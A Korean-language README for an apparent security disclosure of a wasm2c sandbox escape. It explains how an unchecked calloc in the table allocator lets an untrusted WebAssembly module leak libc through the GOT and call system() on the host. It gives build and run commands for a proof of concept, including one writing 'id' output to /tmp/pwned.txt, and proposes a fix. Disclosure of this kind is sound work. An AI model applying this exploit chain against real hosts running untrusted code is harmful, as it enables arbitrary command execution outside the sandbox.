
wasm2c 샌드박스 탈출. 신뢰할 수 없는 WebAssembly 모듈이 생성된 C 샌드박스를 벗어나 호스트에서 임의의 셸 명령을 실행합니다.
블로그 읽기: trustsig.eu/blog
wasm2c/wasm-rt-impl-tableops.inc의 wasm_rt_allocate_funcref_table()은 모듈이 선언한 요소 수로 table->size를 설정한 다음 calloc()의 결과를 무시합니다. 할당이 실패하면 테이블은 data == NULL인 채로 선언된 전체 size를 유지하므로 모든 경계 검사가 여전히 통과하고 table->data[i]는 절대 주소 i * sizeof(wasm_rt_funcref_t)가 됩니다.
요소 수는 게스트가 제공하므로 게스트가 할당 크기를 선택하고 실패를 강제할 수 있습니다.
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
이미지는 업스트림에서 태그 1.0.41의 wabt를 클론하고, wat2wasm과 wasm2c를 빌드한 다음, 게스트 모듈과 일반 임베더(embedder)를 컴파일하고 실행합니다.
예상 출력:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
마지막 줄은 /tmp/pwned.txt의 내용입니다. 이 파일은 샌드박스 모듈이 실행되기 전에는 존재하지 않았습니다.
linux/arm64와 linux/amd64에서 검증되었습니다. 모듈에는 아키텍처별 요소가 없습니다. 인스턴스 주소, GOT 슬롯, libc 오프셋은 모두 빌드 시점에 방금 빌드된 바이너리와 해당 이미지의 libc에서 결정됩니다.
Linux에서 clang, cmake, ninja, binutils가 설치된 경우:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS는 이 PoC의 지원 대상이 아닙니다. Darwin은 RLIMIT_AS를 강제하지 않으므로 과도하게 큰 calloc이 성공하여 버그가 절대 트리거되지 않으며, arm64 macOS 빌드는 항상 위치 독립적이고, Mach-O에는 누출 단계에 사용할 ELF GOT가 없습니다. 결함 자체는 플랫폼 독립적이며, 이 익스플로잇 체인만 Linux 전용입니다.
다른 버전 및 명령:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref)를 선언합니다. 68GB calloc이 실패하고 data는 NULL이며 size는 2147483648로 유지되고, 테이블 인덱스는 절대 주소가 됩니다.got_slot/32의 table.get이 손상된 테이블을 통해 임베더의 GOT를 읽고, table.set은 그 결과를 모듈 자체의 전역 변수에 저장하며, wasm 코드는 이를 정수로 읽을 수 있습니다. 이로써 libc의 malloc 주소가 누출되고, 대상 libc에서 고정 거리만큼 떨어진 system 주소가 유도됩니다.wasm_rt_funcref_t를 구성합니다. func_type은 호출 지점의 타입 해시 복사본을 가리키고(func_types_eq_slowpath는 이를 memcmp로 비교하므로 게스트가 제어하는 바이트도 검사를 통과합니다), func = system, module_instance = 명령 문자열이며, 이 역시 전역 변수에 보관됩니다.globals_addr/32에서 call_indirect를 수행합니다. wasm2c는 ((t)entry.func)(entry.module_instance, ...)를 생성하므로 이는 system(command)를 호출합니다.모듈에 고정된 유일한 레이아웃 사실은 모듈 인스턴스의 주소로, 이는 전역 변수이므로 비-PIE 임베더에서 고정됩니다. ASLR은 계속 활성화되어 있으며 libc 주소는 런타임에 누출됩니다.
테이블 할당이 실패해야 합니다. PoC는 ulimit -v 1000000을 사용하는데, 이는 신뢰할 수 없는 코드를 실행하는 호스트가 설정하는 종류의 주소 공간 제한입니다. 32비트 호스트(할당을 전혀 만족시킬 수 없음), vm.overcommit_memory=2 설정, 또는 충분한 메모리 압력 하에서도 실패합니다.
기본 overcommit 휴리스틱을 사용하는 일반 64비트 Linux에서는 할당이 성공하고 실제로 접근되지 않으므로, 이 버그가 일반 테스트에서 발견되지 않는 이유입니다.
wasm2c 테이블을 포함하는 모든 릴리스가 영향을 받습니다. 검사되지 않은 calloc은 커밋 ab9e0b55(#813)로 거슬러 올라갑니다. 공개된 1.0.41과 현재 main에서 검증되었습니다.
동일한 런타임의 메모리 할당자는 이 경우를 다음과 같이 처리합니다:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
테이블 할당자에도 동일한 검사가 필요합니다.
Dockerfile은 wabt를 빌드하고 PoC를 실행합니다.tableflip_poc.py는 게스트 모듈을 생성하고, 임베더를 빌드하며, nm과 readelf로 빌드된 바이너리와 대상 libc에서 세 가지 상수를 알아낸 다음 실행합니다. 이 스크립트가 생성하는 임베더에는 익스플로잇 지원 코드가 포함되어 있지 않습니다.